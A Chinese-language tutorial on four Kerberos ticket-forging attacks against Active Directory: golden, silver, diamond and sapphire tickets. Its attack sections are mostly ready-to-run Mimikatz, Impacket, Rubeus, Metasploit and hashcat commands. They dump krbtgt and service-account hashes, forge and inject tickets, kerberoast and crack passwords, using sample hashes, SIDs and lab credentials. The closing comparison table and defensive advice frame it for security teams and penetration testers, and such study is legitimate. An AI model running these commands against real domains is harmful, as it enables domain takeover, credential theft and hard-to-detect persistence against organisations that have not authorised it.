探究域渗透下的四种票据
字数 2750 2025-08-10 08:28:55
域渗透下的四种票据攻击技术详解
Kerberos身份认证基础流程
Kerberos是一种基于票证的身份验证协议,其基本工作流程如下:
-
AS-REQ/AS-REP:客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求使用用户的密钥之一进行预身份验证。TGT由身份验证服务(AS)提供。
-
TGS-REQ/TGS-REP:客户端使用TGT向KDC请求ST(服务票证)。该票证由票证授予服务(TGS)提供。
-
AP-REQ/AP-REP:客户端使用ST来访问服务。
-
PAC:两种票证(TGT和ST)通常都包含加密的PAC(特权身份验证证书),目标服务将读取PAC中的信息(用户ID、组成员身份等)来决定身份验证用户是否可以访问该服务。
一、黄金票据(Golden Ticket)攻击
原理与特点
黄金票据是一种权限维持手段,攻击者获得对Active Directory密钥分发服务帐户(KRBTGT)的控制权后,使用该帐户伪造有效的Kerberos票证授予票证(TGT)。这使攻击者能够访问Active Directory域上的任何资源。
关键点:
- 伪造的是TGT票证
- 需要获取krbtgt用户的加密密钥(NTLM Hash或AES密钥)
- 可访问域内任何服务
- 攻击过程需要访问域控DC
- 日志记录在域控上
利用条件
必要条件:
- 获取域中krbtgt用户的加密密钥之一(NTLM Hash或AES密钥)
- 目标域名
- 目标域的SID
- 要模拟的用户账户名称(可任意)
- 要模拟的用户RID(可任意)
- 该账户所属组的RID(可任意指定高权限组)
操作步骤
- 获取krbtgt用户信息:
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
- 使用Mimikatz生成黄金票据:
kerberos::purge # 清除原有票据
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
- 生成票据文件供后续使用:
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ticket:golden.kirbi
kerberos::ptt golden.kirbi
- 使用AES密钥生成黄金票据:
# aes256
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
# aes128
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes128:c7ae2a311bdd5803646f9a98351c31e6 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
高级技巧
- 欺骗性用户名:
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:"Hello world,Nice to meet you my dear" /id:500 /groups:500,501,513,512,520,518,519 /ptt
- 任意RID和组成员资格:
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /id:1139 /groups:500,501,513,512,520,518,519 /ptt
使用Impacket工具
- 枚举域SID:
python lookupsid.py "rookit/administrator:admin!@#45"@192.168.3.131
- 提取krbtgt哈希:
python secretsdump.py "rookit/administrator:admin!@#45"@192.168.3.131 -outputfile krbhash -user-status
- 创建TGT:
python ticketer.py -nthash c3d5042c67ef5f461d0ba6ecdd9ea449 -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org administrator
- 转换票据格式:
python ticketConverter.py administrator.ccache ticket.kirbi
- 注入票据:
kerberos::ptt ticket.kirbi
使用Rubeus工具
Rubeus.exe ptt /ticket:ticket.kirbi
MSF下的利用
load kiwi
dcsync_ntlm krbtgt
golden_ticket_create -d rootkit.local -u administrator -s S-1-5-21-3759881954-2993291187-3577547808 -k c3d5042c67ef5f461d0ba6ecdd9ea449 -t /home/kali/ticket.kirbi
kerberos_ticket_use /home/kali/ticket.kirbi
二、白银票据(Silver Ticket)攻击
原理与特点
白银票据是伪造的Kerberos Ticket Grant Service (TGS)票证,仅允许攻击者伪造特定服务的票证。
关键点:
- 伪造的是TGS票证
- 需要获取目标服务账户的密码哈希(通常是机器账户Hash)
- 只能访问指定的服务
- 不经过KDC,直接在目标服务上验证
- 日志记录在目标服务器上,域控上不会有日志
- 更加隐蔽
利用条件
必要条件:
- 目标服务账户的NTLM Hash(通常是机器账户Hash,账户名以$结尾)
- 目标域名
- 目标域的SID
- 要模拟的用户账户名称(可任意)
- 要模拟的用户RID(可任意)
- 该账户所属组的RID(可任意指定高权限组)
操作步骤
- 获取服务账户Hash:
privilege::debug
sekurlsa::logonpasswords
- 使用Mimikatz生成白银票据(CIFS服务示例):
kerberos::golden /sid:S-1-5-21-202412995-3582062751-167045153 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:78e1c42dbff68fdd87ea7abd70b67533 /user:1111 /ptt
使用Rubeus工具(MSSQL服务示例)
- 转储TGS:
rubeus.exe kerberoast /domain:rootkit.org /creduser:rootkit\windows7 /credpassword:admin!@#45 /nowrap
- 爆破密码(已知密码为Admin12345):
hashcat -m 13100 '$krb5tgs$23$*sqluser......省略' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force
- 转为NTLM hash:
Rubeus.exe hash /password:Admin12345
- 生成白银票据:
rubeus.exe silver /service:MSSQLSvc/win7.rootkit.org /rc4:CCEF208C6485269C20DB2CAD21734FE7 /sid:S-1-5-21-3759881954-2993291187-3577547808 /user:test123333 /domain:rootkit.org /ptt
- 远程连接数据库执行命令:
sqlcmd -S 192.168.1.2,1433
三、钻石票据(Diamond Ticket)攻击
原理与特点
钻石票据攻击需要访问krbtgt的AES256密钥,利用从域控制器(DC)请求的真实TGT进行解密和重新加密。
关键点:
- 需要krbtgt的AES256密钥
- 使用真实TGT进行修改而非完全伪造
- 修改PAC添加特权组
- 比黄金票据更隐蔽
- 适用于已打补丁无法使用无PAC TGT的环境
利用条件
必要条件:
- krbtgt账户的AES256密钥
- 低权限用户凭据(user:password)
- 目标域名
- 域控制器主机名
- 要模拟的用户名(可任意)
操作步骤
- 获取krbtgt用户AES256密钥:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"
- 使用Rubeus生成钻石票据:
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap
- 获取服务票据(CIFS服务示例):
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap
四、蓝宝石票据(Sapphire Ticket)攻击
原理与特点
蓝宝石票据通过S4U2Self+U2U机制获取高权限用户PAC,然后替换原始PAC。
关键点:
- 使用S4U2Self协议扩展
- 使用U2U在没有SPN的情况下请求S4U2Self
- 完全合法元素组合,最难检测
- 需要krbtgt的AES密钥
操作步骤
- 使用魔改版ticketer.py生成票据:
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire'
- 使用Mimikatz注入票据:
kerberos::ptc ignored.ccache
四种票据对比
| 特性 | 黄金票据 | 白银票据 | 钻石票据 | 蓝宝石票据 |
|---|---|---|---|---|
| 伪造票证类型 | TGT | TGS | 修改真实TGT | 组合合法元素 |
| 所需密钥 | krbtgt的NTLM/AES | 服务账户的NTLM | krbtgt的AES256 | krbtgt的AES |
| 访问范围 | 域内所有服务 | 指定服务 | 域内所有服务 | 取决于PAC替换 |
| 隐蔽性 | 较低(日志在DC) | 较高(日志在目标) | 高(使用真实TGT) | 最高(合法组合) |
| 利用机制 | 完全伪造TGT | 伪造TGS | 解密修改真实TGT | S4U2Self+U2U机制 |
防御建议
-
保护KRBTGT账户:
- 定期更改KRBTGT账户密码(至少每6个月一次)
- 实施双密码更改策略(先改一次,24小时后再改一次)
-
监控与检测:
- 监控异常Kerberos票证请求
- 检测TGT票证中的异常属性(如超长有效期、异常组成员资格)
- 启用Kerberos服务日志(事件ID 4769等)
-
权限控制:
- 限制域管理员等高权限账户的使用
- 实施最小权限原则
- 禁用不必要的服务账户
-
补丁与更新:
- 及时安装安全补丁
- 启用PAC验证(防止钻石票据攻击)
-
网络分段:
- 实施网络分段,限制对域控制器的访问
- 部署防火墙规则限制Kerberos相关端口(TCP/UDP 88等)的访问
通过了解这四种票据攻击技术的原理和实现方式,安全团队可以更好地防御此类攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。